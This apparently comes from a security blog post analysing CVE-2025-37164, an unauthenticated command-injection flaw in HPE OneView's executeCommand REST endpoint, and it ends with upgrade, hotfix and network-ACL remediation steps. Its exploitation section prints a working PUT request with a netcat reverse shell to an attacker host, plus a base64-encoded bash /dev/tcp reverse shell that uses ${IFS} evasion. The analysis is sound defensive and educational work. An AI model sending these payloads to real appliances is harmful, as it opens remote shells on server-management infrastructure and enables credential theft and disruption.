HPE OneView RCE: The 'Execute Command' Endpoint You Didn't Ask For

In the world of enterprise hardware, HPE OneView is the 'One Ring.' It is the centralized management appliance that controls your servers, your storage, and your networking fabric. It manages firmware updates, server profiles, and lifecycle operations. If you compromise the domain controller, you own the Windows network. If you compromise OneView, you own the metal.

Usually, these appliances are locked away behind management VLANs, protected by strict access controls and scary login screens. But CVE-2025-37164 ignores all of that. It doesn't care about your complex passwords or your MFA.

This vulnerability is a reminder that while we spend millions securing the front door with EDR and SIEMs, sometimes the vendor leaves the back window unlatched with a neon sign pointing to it. In this case, the neon sign spells out executeCommand.

The vulnerability resides in a REST API endpoint that really, really shouldn't be exposed to the public internet—or even the unauthenticated internal network. The path is /rest/id-pools/executeCommand.

Yes, you read that right. In 2025, we have an API endpoint named executeCommand that accepts user input. It is part of the ID Pools functionality, which is used to manage unique identifiers (like MAC addresses or WWNs) for virtualizing hardware identity.

The flaw isn't some complex heap overflow or a race condition that requires precise timing. It is a classic Improper Control of Generation of Code (CWE-94). The application takes a string from a JSON request and passes it to a system shell. The most egregious part? It requires zero authentication. The developers seemingly forgot to put the auth filter in front of this specific route, turning a utility function into a global backdoor.

While the full source code of HPE OneView is proprietary, the behavior of the endpoint allows us to reconstruct the crime scene with high accuracy. The backend logic, likely written in Java, handles a PUT request to /rest/id-pools/executeCommand.

The handler accepts a JSON body looking like this:

{
  "cmd": "<USER_INPUT>",
  "result": false
}

Under the hood, the application takes the value of cmd and passes it to a function analogous to java.lang.Runtime.getRuntime().exec().

Normally, exec() is dangerous enough, but when you feed it unsanitized input from an HTTP request, you are inviting disaster. The code fails to validate that the command is one of the expected ID generation binaries. Instead, it treats the input as a shell instruction.

This is the coding equivalent of handing a loaded gun to a toddler. There is no whitelist, no strict regex validation, and crucially, no Authorization header check. The patch analysis confirms this: the fix didn't even change the code logic much—it just blocked access to the URL path entirely via the web server configuration.

Exploiting this is trivially easy, but there are some caveats. The shell environment invoked by the application has some constraints. Research indicates that using spaces or certain quote characters can break the JSON parsing or the shell tokenization before the payload executes.

To bypass these restrictions, attackers use standard shell evasion techniques. The most common is using ${IFS} (Internal Field Separator) to replace spaces.

Here is what a weaponized request looks like. We send a PUT request to the target:

PUT /rest/id-pools/executeCommand HTTP/1.1
Host: target-ip
Content-Type: application/json
X-API-Version: 3800
 
{
  "cmd": "nc${IFS}attacker-ip${IFS}4444${IFS}-e${IFS}/bin/sh",
  "result": false
}

If the nc (netcat) utility is available on the appliance (which it often is for debugging), this payload instantly connects back to the attacker with a reverse shell.

For more complex payloads, attackers can use base64 encoding to avoid special characters entirely:

echo "bash -i >& /dev/tcp/10.0.0.1/8080 0>&1" | base64
# Payload becomes: YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS84MDgwIDA+JjEK

The injection then becomes sh -c echo${IFS}YmFza...|base64${IFS}-d|sh, executing a pristine reverse shell without ever using a literal space character in the initial injection.

Successful exploitation grants the attacker code execution as the user running the web service, typically trm3 or a similar service account. While this isn't immediately root, it doesn't need to be.

From this foothold, an attacker can:

1. Pivot: OneView has network visibility into the management interfaces (iLO) of every server it manages. The attacker is now inside the management network.
2. Exfiltrate: Dump the internal database containing credentials, SNMP strings, and configuration backups.
3. Disrupt: Issue commands to power off server blades or wipe configurations.
4. Escalate: Local privilege escalation on these appliances is often trivial due to outdated kernel versions or misconfigured permissions on support scripts.

Given the EPSS score of 0.81 (81% probability of exploitation), this is being used in the wild right now. Ransomware groups love these types of appliances because they serve as perfect persistence mechanisms that security teams rarely audit.

HPE's response was swift. The primary fix in version 11.00 effectively neuters the vulnerability.

Interestingly, the hotfix provided (Z7550-98077.bin) reveals the 'quick fix' strategy: it applies an HTTP rewrite rule to the appliance's internal web server (likely Apache or Nginx acting as a reverse proxy). This rule matches the URI /rest/id-pools/executeCommand and explicitly returns a 404 Not Found or 403 Forbidden.

Remediation Steps:

1. Upgrade Immediately: Move to OneView 11.00.
2. Apply the Hotfix: If you can't upgrade, apply the Z7550-98077 bin file.
3. Network ACLs: If you can't do either right now, block access to the OneView web interface from any IP address that isn't a dedicated, secure management station. The internet should never touch this interface.

[!NOTE] Some VM-based deployments of OneView don't have the 'ID Pools' feature enabled. If you curl the endpoint and get a 404 naturally, you might be safe—but don't rely on luck. Patch it.